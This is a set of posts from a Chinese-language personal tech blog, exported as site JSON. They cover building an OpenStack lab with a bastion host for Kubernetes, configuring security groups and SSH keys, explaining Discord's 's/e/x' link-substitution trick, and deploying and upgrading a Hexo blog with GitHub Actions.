192.168.200.103/24 K8S Worker node 1 gitlab-runner 2 2G 192.168.200.104/24 GitLab Shell Runner 我這裡會架設 5 台 Instance，其中 3 台做為 Kubernetes 的 Master Node 跟 Worker Node，1 台做為跳板 Host，剩下 1 台如果有機會講到 GitLab CI/CD 的話就會把他排進去做為 Shell Runner。\n這邊我們先架設 bastion-host\n按下 發動雲實例\n雲實例：bastion-host 來源選擇 Ubuntu-22.04\n類型選擇 m1.small（2 vCPUs, 2 GB）\n網路選擇 public，等等再手動掛 private。\n安全性群組給予 Public SSH 跟 Private SSH。\nKey Pair 選擇上次新增的金鑰對，就可以發動雲實例了。\n手動掛上網卡，按下 附加網路卡。\n選擇建立網路介面的形式：由網路（跟 IP 位址） 網路：private 固定 IP 位址：192.168.200.100 加完網路卡記得重開 VM\n就來試試連線，\u0026lt;PUBLIC_IP\u0026gt; 填寫 bastion-host 寫的 IP，\u0026lt;PRIVATE_KEY_PATH\u0026gt; 填寫私鑰的路徑。\nssh -i \u0026lt;PRIVATE_KEY_PATH\u0026gt; ubuntu@\u0026lt;PUBLIC_IP\u0026gt;\nssh -i my-server ubuntu@103.122.116.3 # 反正我 IP 鎖上了 確認可以連線後就可以來建立其他的 Instance。\n這裡就依序把 k8s-m0、k8s-n0、k8s-n1、gitlab-runner 建立起來。\ngitlab-runner 選擇 2 vCPUs, 2 GB，其餘選擇 4 vCPU, 4 GB。\n每一台都加入 private 網路。\n安全性群組就是 Private SSH 都要加入，k8s-m0 加入 Master node，k8s-n0 跟 k8s-n1 加入 Worker node。\n如果發現 private 網路分配的 IP 沒有想要的，可以先卸除網路卡。\n再像剛剛前面的步驟加入回去，最後再重開機 VM 即可。\n雙網卡修正 # 接完後會發現，怎麼都 ping 不到。\n這邊我們用下列命令查詢：\nip addr 就會發現他的另一個網卡沒有設定到。（這裡不知道是 Openstack 問題還是 Lab 本身問題）\n我們來手動修改：（vim 或 nano 都可以，覺得順手就好）\nsudo vim /etc/netplan/50-cloud-init.yaml 檔案內容會長這樣\n# This file is generated from information provided by the datasource. Changes # to it will not persist across an instance reboot. To disable cloud-init\u0026#39;s # network configuration capabilities, write a file # /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following: # network: {config: disabled} network: ethernets: ens3: dhcp4: true match: macaddress: fa:16:3e:8b:cb:6a set-name: ens3 version: 2 幫另外一組網卡 ens4 加入設定（設定 DHCP 沒關係，因為 Openstack 已經鎖定了。）\n# This file is generated from information provided by the datasource. Changes # to it will not persist across an instance reboot. To disable cloud-init\u0026#39;s # network configuration capabilities, write a file # /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following: # network: {config: disabled} network: ethernets: ens3: dhcp4: true match: macaddress: fa:16:3e:8b:cb:6a set-name: ens3 ens4: dhcp4: true match: macaddress: fa:16:3e:1f:f6:de # 填寫 ens4 的 Mac address set-name: ens4 version: 2 看好差不多就可以套用，但注意如果套用失敗就連不進去了，就需要再次重建了。\nsudo netplan apply 重新 apply 之後就會有內網了，也可以 Ping 到主機。\n複製 Private key 到 Bastion Host # 接下來我們就把 Key 複製進去 Bastion Host 裡面，可以使用 scp 複製檔案進去到 Bastion Host。\nscp -i \u0026lt;PRIVATE_KEY_PATH\u0026gt; \u0026lt;LOCAL_FILE_PATH\u0026gt; \u0026lt;REMOTE_USER\u0026gt;@\u0026lt;REMOTE_IP\u0026gt;:\u0026lt;REMOTE_PATH\u0026gt;\n這個就是從 Local 端傳到 Remote 端，反之亦然。\nscp -i my-server ./my-server ubuntu@103.122.116.3:~/private.key 我這裡是把它取名為 private.key，然後就可以試著用 ssh 連線到其他的內網 VM 了。\nssh -i private.key ubuntu@192.168.200.101 ssh -i private.key ubuntu@192.168.200.102 ssh -i private.key ubuntu@192.168.200.103 ssh -i private.key ubuntu@192.168.200.104 這篇內容已經把主機架設好了，接下來我們就來簡介 K8s 還有為什麼會需要 K8s 吧！\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\n","date":"2022/09/19","externalUrl":null,"permalink":"/posts/it2022-day04/","section":"Posts","summary":"本篇大綱 # 這篇文章是要架設 Cloud Native Infra Labs 的第三部分，接續前面設定好的 Key pair，要來設定 VM Instance，還有一些小 Bug。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 04 基礎架構設定 - Instance \u0026 網路設定","type":"posts"},{"content":"","date":"2022/09/19","externalUrl":null,"permalink":"/tags/ssh/","section":"Tags","summary":"","title":"Ssh","type":"tags"},{"content":"本篇大綱 # 這篇文章是要架設 Cloud Native Infra Labs 的第二部分，簡介並設定安全性群組跟密鑰對，建立 VM 的前置作業。\n內文 # 安全性群組 # 對於 IT 管理的部分，我們會需要控管每台 VM 進出的 Port，安全性群組就是我們需要的功能。\n我們再來看我們要規劃的 Server 表：\nServer Name CPU Ram Private IP Notes bastion-host 2 2G 192.168.200.100/24 Public IP, Control Center k8s-m0 4 4G 192.168.200.101/24 K8S Master node k8s-n0 4 4G 192.168.200.102/24 K8S Worker node 0 k8s-n1 4 4G 192.168.200.103/24 K8S Worker node 1 gitlab-runner 2 2G 192.168.200.104/24 GitLab Shell Runner bastion-host 是我們的堡壘 Server，接入裡面的內網，不讓 Kubernetes 對外直接 Expose，這裡我們只需要對外開 22 Port，並且限制外網來源即可。\n內網的 VM 也要互相連線，需要對 Private IP 互相開 SSH 連線。\nK8s 的部分我們可以先看官網裡面的 Reference ：\n這裡我們可以看到 Master node (Control plane) 是需要 Inbound 6443, 2379-2380, 10250, 10259, 10257，Worker node 則是需要 10250, 30000~32767，後面的 30000~32767 可以依據情況做調整，因為這個是 NodePort 範圍的預設。\n那這樣我們就會大約需要幾個 Policy 來滿足我們上面的需求\nPublic SSH：對外 Expose SSH，套用 bastion-host Private SSH：對內網的 SSH 可以互相連線，套用所有 Server Master node：套用 Master node Worker node：套用 Worker node 我們先來建立新的安全群組\n點擊新建安全性群組\n這邊的名稱跟描述都可以自己取名\n新增完後會有個只有出口的設定，代表這可以向外連線出去。\n點擊 加入規則\n規則：SSH 遙控：CIDR CIDR：這裡可以依照需求調整。 如果想要方便連線可以設定 0.0.0.0/0，代表所有地方都可以連線。\n如果不想公開連線，就設定 \u0026lt;自己 IP\u0026gt;/32，代表只有此 IP 可以連線。\n再回去安全性群組新增 Private SSH。\nPrivate SSH 新增規則：\n規則：SSH 遙控：CIDR CIDR：192.168.200.0/24 （代表所有內網 IP） 再回去安全性群組新增 Master node 群組。\n對 Master node 新增 K8s API Server 規則：\n規則：自訂 TCP 規則 描述：Kubernetes API server （描述都可以自己訂定，方便辨識即可。） 方向：入口 開放埠口：接口 接口：6443 遙控：CIDR CIDR：192.168.200.0/24 對 Master node 新增 etcd 規則：\n規則：自訂 TCP 規則 描述：etcd server client API （描述都可以自己訂定，方便辨識即可。） 方向：入口 開放埠口：接口 接口：6443 遙控：CIDR CIDR：192.168.200.0/24 對 Master node 新增 Kubelet API 規則：\n規則：自訂 TCP 規則 描述：Kubelet API （描述都可以自己訂定，方便辨識即可。） 方向：入口 開放埠口：接口 接口：10250 遙控：安全性群組 安全性群組：Master node 網路協定類型：IPv4 對 Master node 新增 kube-scheduler 規則：\n規則：自訂 TCP 規則 描述：kube-scheduler （描述都可以自己訂定，方便辨識即可。） 方向：入口 開放埠口：接口 接口：10257 遙控：安全性群組 安全性群組：Master node 網路協定類型：IPv4 對 Master node 新增 kube-controller-manager 規則：\n規則：自訂 TCP 規則 描述：kube-controller-manager （描述都可以自己訂定，方便辨識即可。） 方向：入口 開放埠口：接口 接口：10257 遙控：安全性群組 安全性群組：Master node 網路協定類型：IPv4 再回去安全性群組新增 Worker node 群組。\n對 Worker node 新增 Kubelet API 規則：\n規則：自訂 TCP 規則 描述：Kubelet API Master node （描述都可以自己訂定，方便辨識即可。） 方向：入口 開放埠口：接口 接口：10250 遙控：安全性群組 安全性群組：Master node 網路協定類型：IPv4 對 Worker node 新增 Kubelet API 規則（自己）：\n規則：自訂 TCP 規則 描述：Kubelet API Self （描述都可以自己訂定，方便辨識即可。） 方向：入口 開放埠口：接口 接口：10250 遙控：安全性群組 安全性群組：Worker node 網路協定類型：IPv4 對 Worker node 新增 NodePort 規則：\n規則：自訂 TCP 規則 描述：NodePort Services （描述都可以自己訂定，方便辨識即可。） 方向：入口 開放埠口：範圍埠口 從此埠口：30000 到此埠口：32767 遙控：CIDR CIDR：0.0.0.0/0 （之後要為 Load Balancer 做準備，因此設定所有來源。） 那這樣就設定完成了。\n密鑰對 Key Pair # 對 VM 做 SSH 連線有兩種方式，第一種是密碼，但是密碼很容易被暴力破解，通常我們會用第二種，SSH Key。\n這裡可以用 Openstack 上的新增密鑰對來做，但這裡為了增加安全性還有自訂方便性，我會用 ssh-keygen 本機產生公私鑰。\nssh-keygen -t ed25519 -C \u0026#34;\u0026lt;comment\u0026gt;\u0026#34; -f my-server 下完這組命令以後會產生私鑰 my-server 跟公鑰 my-server.pub 這兩個檔案\n點擊 輸入公鑰\n密鑰對名稱：CloudNative - Personal Lab （可以自訂） 金鑰類型：SSH 金鑰檔 公鑰：my-server.pub 的檔案內容 這樣我們就建立好我們的 Key pair 了，下一篇我們就來設定 VM Instance。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\n","date":"2022/09/18","externalUrl":null,"permalink":"/posts/it2022-day03/","section":"Posts","summary":"本篇大綱 # 這篇文章是要架設 Cloud Native Infra Labs 的第二部分，簡介並設定安全性群組跟密鑰對，建立 VM 的前置作業。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 03 基礎架構設定 - 安全性群組 \u0026 密鑰對","type":"posts"},{"content":"本篇大綱 # 這篇文章是要架設 Cloud Native Infra Lab 的第一部分，同時也說一下架設規格。\n內文 # 這次為了架設 Kubernetes Cluster，跟 CNTUG 申請了 16 Cores 和 16G Ram 規格，大致分配如下：\nServer Name CPU Ram Private IP Notes bastion-host 2 2G 192.168.200.100/24 Public IP, Control Center k8s-m0 4 4G 192.168.200.101/24 K8S Master node k8s-n0 4 4G 192.168.200.102/24 K8S Worker node 0 k8s-n1 4 4G 192.168.200.103/24 K8S Worker node 1 gitlab-runner 2 2G 192.168.200.104/24 GitLab Shell Runner 我這裡會架設 5 台 Instance，其中 3 台做為 Kubernetes 的 Master Node 跟 Worker Node，1 台做為跳板 Host，剩下 1 台如果有機會講到 GitLab CI/CD 的話就會把他排進去做為 Shell Runner。\n內部網路設定 # 進到網路，按一下 新增網路\n裡面就填寫下列參數\n網路名稱：private 啟用管理員狀態：打勾 新增子網路：打勾 前往下一頁，填寫子網域參數：\n子網路名稱：private-net 網路位址：192.168.200.0/24 IP 版本：IPV4 閘道 IP：192.168.200.1 前往下一頁，填寫子網路詳細資訊：\n啟用 DHCP：打勾 分配倉庫如果你想分配 DHCP IP 範圍就自行設定，也可以直接留白。\n自建 Server 通常需要考慮是否要自己建立 DNS Server，不過因為是測試用的 Lab，我會把 DNS 放到外部解析，因此這裡不特別設定。\nOpenstack 設定完網路以後，就可以來設定路由器 (Router)。\n按一下新增路由器。\n新增路由器設定下列參數：\n路由器名稱：private-router 啟用管理員狀態：打勾 對外網路：public (系統申請完原有的) 新增路由器以後，點進去，新增他的網路卡。\n加入網路卡設定下列參數：\n子網域：private: 192.168.200.0/24 IP 位址：192.168.200.1 (閘道 IP) 設定完網路卡，他們系統之前就能互相在內網連線了，但是還不能連去外網，還需要設定靜態路由 (Static Route)。\n加入靜態路由設定以下參數：\n目標 CIDR：0.0.0.0/0 下一跳點：103.122.117.254 (public網路的 Gateway IP) 這樣我們就設定好基礎網路的部分了，下一篇就來設定安全性群組 \u0026amp; 密鑰對。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\n","date":"2022/09/17","externalUrl":null,"permalink":"/posts/it2022-day02/","section":"Posts","summary":"本篇大綱 # 這篇文章是要架設 Cloud Native Infra Lab 的第一部分，同時也說一下架設規格。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 02 基礎架構設定 - 網路架構","type":"posts"},{"content":"前言 # 哈囉大家好，我是梯口 a.k.a tico88612，偶爾在各大資訊社群晃晃路過的新手，自己認識的一些大神們都比我年輕，甚至還寫過鐵人賽 30 天，基本會寫這篇其實是想證明自己有沒有這能耐可以寫完，也希望我真的寫得完 QQ。\nSponsor # 這次系列真的非常感謝 Cloud Native Taiwan User Group 贊助讓我可以去玩他們的 Infra Labs。\nCloud Native Taiwan User Group 希望整合台灣雲端相關社群如 OpenStack, Kubernetes, Ceph, SDN 等，並利用 Meetup 定期在各台灣地區舉辦技術與推廣分享活動。目的是藉此群策群力來使該社團快速成長，以對台灣在雲端開源平台的貢獻，另外我們更希望該社群持有 Cloud Native 概念，並將此推廣至台灣企業、學校、政府單位等。\n這主題要說明什麼？ # 這篇主題名字《關於我怎麼把一年內學到的新手 ITSRE 濃縮到 30 天筆記這檔事》，我在外面工讀了一年（到寫這篇文章為止還是工讀生），職位介於在 IT 與 SRE（Site Reliability Engineering） 之間，這兩個部分都是相互依賴的關係，要維持網站穩定（Site Reliability），還是要依靠 IT 的強大支撐。\n因為我沒有自己的 Infras（如果未來有拔拔讓我贊助去玩我也不介意），於是我就去跟 CNTUG 的成員們借了 Infra Labs，把這篇系列文章寫完。\n這次主題，我會聚焦在自建 Kubernetes 的運作上，前面會少部分提到 Cloud Native Infra Labs 的設定，簡介 K8s 的基本架構以後，就會去設定私有雲常用的設定 (Istio Ingress, MetalLB)、套件 (Helm)、監控 (Prometheus、Grafana、Loki)，內容長度如果夠也會介紹 GitLab CI/CD 的部分，建立屬於自己的 K8s Cluster。\n此主題的目標客群？ # 難度為中等，以下對象皆為適合：\n想要從開發轉為 DevOps 想要建立自己的 Kubernetes 目前為新手 DevOps / SRE，想要往進階邁進 需要以下先備知識：\nDocker 基礎（建構、推送、使用） Linux 命令基礎操作（CRUD 資料夾、對純文字命令沒有恐懼感） 熟悉任一程式語言為佳 本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\n","date":"2022/09/16","externalUrl":null,"permalink":"/posts/it2022-day01/","section":"Posts","summary":"前言 # 哈囉大家好，我是梯口 a.k.a tico88612，偶爾在各大資訊社群晃晃路過的新手，自己認識的一些大神們都比我年輕，甚至還寫過鐵人賽 30 天，基本會寫這篇其實是想證明自己有沒有這能耐可以寫完，也希望我真的寫得完 QQ。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 01 前言 \u0026 簡介","type":"posts"},{"content":"","date":"2022/05/11","externalUrl":null,"permalink":"/tags/discord/","section":"Tags","summary":"","title":"Discord","type":"tags"},{"content":"這段時間 Discord 有個蠻有趣的東西叫做 Discord SEX HACK 剛好有人不懂發生了什麼事跟原理 於是就寫了這篇文章\n步驟還原 # Discord SEX HACK 說明是這樣寫的\nOpen Discord on ur PC （在你的電腦打開 Discord） Send any trending gif from the gif picker （傳送 GIF 選擇裡面任一 Trending GIFs） Send another message that just say s/e/x （傳送另一則訊息只要寫 s/e/x） WTF DISCORD SEX!!! （DISCORD SEX HACK 成功） 別人在實驗給我看的時候，確實是用成功了，但上面出現了 (edited)。\n看起來事有蹊蹺，開始往連結觀察。\n觀察 # GIF 查看 # 這邊我使用這個 GIF （從 Trending GIFs 選擇出來的）進行連結觀察。\n選擇之後，對圖片按下右鍵 複製連結 Copy Link，不是 複製訊息連結 Copy Message Link 哦。\nhttps://tenor.com/view/nurses-week-gif-11783761 打上 s/e/x 並送出。\n確實發生變化了，對圖片按下右鍵 複製連結 Copy Link。\nhttps://txnor.com/view/nurses-week-gif-11783761 把這兩個連結拿出來看，就會發現，連結被替換了。\nhttps://tenor.com/view/nurses-week-gif-11783761 https://txnor.com/view/nurses-week-gif-11783761 .........X..................................... e 被替換成 x，欸等等？看起來跟剛剛打的 s/e/x 有關。 看起來猜測是 s/要搜尋的字串/要取代的字串，這功能其實跟 vim 有點像。 如果是字串替代，代表一般文字應該也可以。\n文字測試 # 一開始先在空文字頻道傳送 s/e/x，你會發現他什麼都沒有出去。\n代表這猜測其實很合理，但因為沒有其他訊息，不會有什麼變化。\n接下來傳送一則文字訊息出去 qqqqq，並且最後傳送 s/qq/xxx。\n接下來，是見證奇蹟的時刻！\n確實發生了變化，這組有很多 qq，但這裡只有對應第一組的 qq，並替換成 xxx\n那已編輯的訊息能再使用嗎？再來傳送 s/xq/uu\n再次傳送，確實可以再編輯。\nGIF 限制 # Discord 大部分的 GIF 都是從 tenor.com 出來的，因此有人用了這特殊功能買了 txnor.com 網址來玩 Discord Sex Hack。\n當然，GIF 來源很多，其他網站基本上不太適用（除非作者再去買 Domain Name），但如果 GIF 放在 Discord 網域上那更不可能（除非官方自己想玩）。\n後記 # 剛剛看最新的照片，作者加入了新功能，變成 Sex Hack 後，再打上 s/w/ag，會有叫出西洋棋盤，他的 example move 長這樣 s/g/$\u0026amp;b2b3，那最後網址會長怎樣呢？歡迎在下面留言跟我分享吧！\n謝謝你把文章看到這裡，喜歡的話別忘記幫我點個拍手（可以拍多一點），並且按下上方追蹤我的 RSS 獲取最新文章，那就下一篇文章見，ㄅㄅ。\n2022.05.18 編輯 # 前幾天發現原作者 @rebane2001 跑來我這裡留言欸！\n2022.05.15 原作者 @rebane2001 在 txnor.com 發布了 「Discord s/e/x Hack: An Explanation」，可以去朝聖一下。\n","date":"2022/05/11","externalUrl":null,"permalink":"/posts/discord-sex-hack/","section":"Posts","summary":"這段時間 Discord 有個蠻有趣的東西叫做 Discord SEX HACK 剛好有人不懂發生了什麼事跟原理 於是就寫了這篇文章\n","title":"Discord SEX HACK 行為 \u0026 原理解析","type":"posts"},{"content":"","date":"2022/05/11","externalUrl":null,"permalink":"/tags/gif/","section":"Tags","summary":"","title":"Gif","type":"tags"},{"content":"","date":"2022/05/11","externalUrl":null,"permalink":"/tags/string-replace/","section":"Tags","summary":"","title":"String Replace","type":"tags"},{"content":"","date":"2022/05/11","externalUrl":null,"permalink":"/tags/text-processing/","section":"Tags","summary":"","title":"Text Processing","type":"tags"},{"content":"","date":"2022/04/19","externalUrl":null,"permalink":"/tags/auto-deploy/","section":"Tags","summary":"","title":"Auto Deploy","type":"tags"},{"content":"","date":"2022/04/19","externalUrl":null,"permalink":"/tags/ci/cd/","section":"Tags","summary":"","title":"Ci/Cd","type":"tags"},{"content":"","date":"2022/04/19","externalUrl":null,"permalink":"/tags/github-actions/","section":"Tags","summary":"","title":"Github Actions","type":"tags"},{"content":"","date":"2022/04/19","externalUrl":null,"permalink":"/tags/hexo/","section":"Tags","summary":"","title":"Hexo","type":"tags"},{"content":"{% post_link hexo-3-upgrade-to-6 上一篇文章 %}中，我把 Hexo 升級到最新版 6.1.0，並且只留下少數必要檔案，其他像是 Hexo Themes 也丟給 package.json。\nMac 放上 GitHub Repo 後，從 Windows 的 WSL 透過 git clone 拉回來嘗試 Generate 也成功。\n但每次都要下 hexo deploy（因為我是用 Git Deploy），而且不同環境可能 .deploy_git 不同步而導致 Deploy 錯誤。\n其實想想，最後的 Deploy 可以直接丟給 GitHub Actions 完成就好，本機只要測試 hexo generate 有沒有把最新文章產生成功就好。\n梗圖 Meme # 架構圖 Architecture # Hexo 上的 GitHub Actions 是 Source 跟 GitHub Pages 是同一個 Repo 但不同分支上（Source 在 main/master 分支，GitHub Pages 在 gh-pages 分支）。\n本次示範的 Source 跟部屬的 GitHub Pages 將會是不同 Repo 底下。\nHexo Source：blog-source GitHub Pages：blog\n設定 GitHub Actions Setting GitHub Actions # 1. 準備 Deploy key # 要準備 Deploy key 就要用 ssh-keygen 生成公鑰私鑰\nssh-keygen -t ed25519 -C \u0026quot;\u0026lt;YOUR_EMAIL\u0026gt;\u0026quot; -f deploy\n\u0026lt;YOUR_EMAIL\u0026gt; 可以替換成你的 GitHub Email 或者照下面填寫 GitHub Action Bot 的 Email。\nssh-keygen -t ed25519 -C \u0026#34;41898282+github-actions[bot]@users.noreply.github.com\u0026#34; -f deploy Enter passphrase 就直接按下 Enter 鍵跳過。\n之後就會生成 deploy.pub 跟 deploy 兩個檔案。\ndeploy.pub 是公鑰 deploy 是私鑰\n2. GitHub Pages 專案中放上公鑰 # 點到要部屬的 GitHub Pages 的 Repo（本範例為 blog） Setting $\\rightarrow$ Deploy keys $\\rightarrow$ Add deploy key\nTitle：打上你想取的名字。\nKey：將 deploy.pub 公鑰內容貼到這裡。\nAllow write access 打勾，這樣才能給 GitHub Actions 部屬。\n完成就按下 Add key。\n這樣就新增放上公鑰了。\n3. Hexo Source 專案中放上私鑰 # 點到放 Hexo Source 的 Repo（本範例為 blog-source） Setting $\\rightarrow$ Secrets $\\rightarrow$ Actions $\\rightarrow$ New repository secret\nName：DEPLOY_KEY\nValue：將 deploy 私鑰內容貼到這裡。\n完成就按下 Add secret。\n這樣就新增放上私鑰了。\n4. 設定 GitHub Actions # 點到放 Hexo Source 的 Repo（本範例為 blog-source） 按下 Actions 裡面 set up a workflow yourself\n貼上下面的內容\nname: Deploy on: [push] env: TZ: \u0026#39;Asia/Taipei\u0026#39; jobs: build: runs-on: ubuntu-latest name: Deploy Hexo Blog steps: - name: Checkout uses: actions/checkout@v1 with: submodules: true # Checkout private submodules(themes or something else). - name: Timezone set Asia/Taipei run: sudo timedatectl set-timezone \u0026#39;Asia/Taipei\u0026#39; - name: Yarn Install uses: borales/actions-yarn@v2.3.0 with: cmd: install - name: Hexo Deploy id: deploy uses: sma11black/hexo-action@v1.0.3 with: deploy_key: ${{ secrets.DEPLOY_KEY }} user_name: \u0026lt;YOUR_GITHUB_USERNAME\u0026gt; # (or delete this input setting to use bot account) user_email: \u0026lt;YOUR_GITHUB_EMAIL\u0026gt; # (or delete this input setting to use bot account) - name: Get the output run: | echo \u0026#34;${{ steps.deploy.outputs.notify }}\u0026#34; 大概解釋一下這個 .yaml 在做什麼\nLine 3：Push 的時候觸發下面這些 Jobs Line 5-6：設定環境變數 Timezone 為 Asia/Taipei（為什麼要寫後面我會解釋） Line 13-16：把此專案 Checkout 下來。 Line 17-18：設定 Timezone 為 Asia/Taipei。 Line 19-22：套件管理我習慣用 yarn，執行 yarn install，這裡你也可以替換成 npm 相關的 Steps。 Line 23-29：這裡我使用 sma11black/hexo-action@v1.0.3 幫我完成自動化部屬 Hexo。 如果前面產生的 Deploy key 是用自己的 Email，那麼這裡的 user_name 和 user_email 分別填寫上你的 GitHub Username 跟 Email。 如果是用 GitHub Actions Bot 來產生的 Deploy key，可以直接把 Line 27 \u0026amp; 28 刪除。 Line 30-32：取得部屬狀況。\n小陷阱 Little trap # 當初沒有改 Timezone 的時候，跑了 Actions 沒有問題，但是\u0026hellip;\u0026hellip;\n因為 GitHub Actions 的 Runner server 都在國外，通常國外預設的時間都是 UTC 或者美洲時間，如果想要以台灣時間為準，就必須要對 Runner 設定 Timezone 為 Asia/Taipei。\n其實我有發現 GitHub Actions 如果你步驟有使用 uses，它就會跑在 Docker container 裡面，Container 時間通常也是 UTC，所以這也是為什麼要在 Line 5-6 設定 TZ。\n改完後就全部校正回歸了，可喜可賀！\n至於什麼 SEO 優化，就暫時不想管了，感覺好麻煩 T_T。\n","date":"2022/04/19","externalUrl":null,"permalink":"/posts/hexo-github-actions-deploy/","section":"Posts","summary":"{% post_link hexo-3-upgrade-to-6 上一篇文章 %}中，我把 Hexo 升級到最新版 6.1.0，並且只留下少數必要檔案，其他像是 Hexo Themes 也丟給 package.json。\nMac 放上 GitHub Repo 後，從 Windows 的 WSL 透過 git clone 拉回來嘗試 Generate 也成功。\n","title":"Hexo + GitHub Actions 部屬網站遷移全紀錄","type":"posts"},{"content":"","date":"2022/04/19","externalUrl":null,"permalink":"/tags/timezone/","section":"Tags","summary":"","title":"Timezone","type":"tags"},{"content":"","date":"2022/04/07","externalUrl":null,"permalink":"/tags/fluid/","section":"Tags","summary":"","title":"Fluid","type":"tags"},{"content":"2018.08.26 我在這網站發布了第一篇貼文 {% post_link hello-world %} 原本在這裡是想寫演算法競賽的解題報告 用了當時蠻流行的組合 Hexo + GitHub Page 架設了 Blog 出來\nHexo 其實有段時間沒有更新了，Blog 的 package.json 設定檔長這樣\n{ \u0026#34;name\u0026#34;: \u0026#34;hexo-site\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;0.0.0\u0026#34;, \u0026#34;private\u0026#34;: true, \u0026#34;hexo\u0026#34;: { \u0026#34;version\u0026#34;: \u0026#34;3.9.0\u0026#34; }, \u0026#34;dependencies\u0026#34;: { \u0026#34;hexo\u0026#34;: \u0026#34;^3.3.0\u0026#34;, \u0026#34;hexo-autoprefixer\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-deployer-git\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-generator-archive\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-generator-category\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-generator-feed\u0026#34;: \u0026#34;^2.2.0\u0026#34;, \u0026#34;hexo-generator-index\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-generator-json-content\u0026#34;: \u0026#34;^4.1.6\u0026#34;, \u0026#34;hexo-generator-search\u0026#34;: \u0026#34;^2.4.0\u0026#34;, \u0026#34;hexo-generator-sitemap\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-generator-tag\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-inject\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-math\u0026#34;: \u0026#34;^3.0.4\u0026#34;, \u0026#34;hexo-renderer-ejs\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-renderer-less\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-renderer-marked\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-renderer-stylus\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-server\u0026#34;: \u0026#34;^1.0.0\u0026#34; } } Hexo 3.3.0 是在 2017.04.04 發布的，到現在 Hexo 6.1.0 已經差蠻遠的 而且之前寫的文章常常在預覽時會遇到奇怪問題，發佈都是陰差陽錯成功\n再加上想要在其他環境寫 Blog（我目前寫 Blog 為 Mac 筆電，想要換在 Windows 環境寫寫看） 還有 WSL 也逐漸熟悉，就決定來做大跳板＆重整環境了。\n首先聲明，以 SRE 或 DevOps 的思維來說，通常會是一版一版升級\n反正是個人的東西，所以我就都不管了\n為了確保升級是 OK 的，也額外複製一份出來跑升級，到時候用爛還可以還原 升級 Hexo 6 # 這部分我稍微參照了 hexo-starter 的官方專案去做升級\n直接去手動修改版本，都升級成為最新版本。\n{ \u0026#34;name\u0026#34;: \u0026#34;hexo-site\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;0.0.0\u0026#34;, \u0026#34;private\u0026#34;: true, \u0026#34;hexo\u0026#34;: { \u0026#34;version\u0026#34;: \u0026#34;6.1.0\u0026#34; }, \u0026#34;dependencies\u0026#34;: { \u0026#34;hexo\u0026#34;: \u0026#34;^6.1.0\u0026#34;, \u0026#34;hexo-autoprefixer\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-deployer-git\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-generator-archive\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-generator-category\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-generator-feed\u0026#34;: \u0026#34;^2.2.0\u0026#34;, \u0026#34;hexo-generator-index\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-generator-json-content\u0026#34;: \u0026#34;^4.1.6\u0026#34;, \u0026#34;hexo-generator-search\u0026#34;: \u0026#34;^2.4.0\u0026#34;, \u0026#34;hexo-generator-sitemap\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-generator-tag\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-inject\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-math\u0026#34;: \u0026#34;^3.0.4\u0026#34;, \u0026#34;hexo-renderer-ejs\u0026#34;: \u0026#34;^2.0.0\u0026#34;, \u0026#34;hexo-renderer-less\u0026#34;: \u0026#34;^1.0.0\u0026#34;, \u0026#34;hexo-renderer-marked\u0026#34;: \u0026#34;^5.0.0\u0026#34;, \u0026#34;hexo-renderer-stylus\u0026#34;: \u0026#34;^2.0.1\u0026#34;, \u0026#34;hexo-server\u0026#34;: \u0026#34;^3.0.0\u0026#34;, } } 沒有寫在 hexo-starter 就維持不變\n接下來就把 node_modules, yarn.lock, package-lock.json 全部刪掉\nrm -rf node_modules rm -rf yarn.lock rm -rf package-lock.json 重跑 yarn 或 npm install（我個人喜歡 yarn，套件管理來說 npm 會比 yarn 好，詳情可以 Google 比較）\nyarn 原本重新裝好就可以準備\nhexo s 當然怎麼會這麼簡單呢？\nerr: Error: Function yaml.safeLoad is removed in js-yaml 4. Use yaml.load instead, which is now safe by default. 更新主題 Fluid # 我參考了這網頁，其實再往下追查 ERROR Stack 才發現，我現在用的 Fluid 主題需要更新。\nFluid 安裝方式\nHexo 在 5.0.0 以後可以用 npm 來裝了，因此我就直接 yarn 裝起來，把 themes 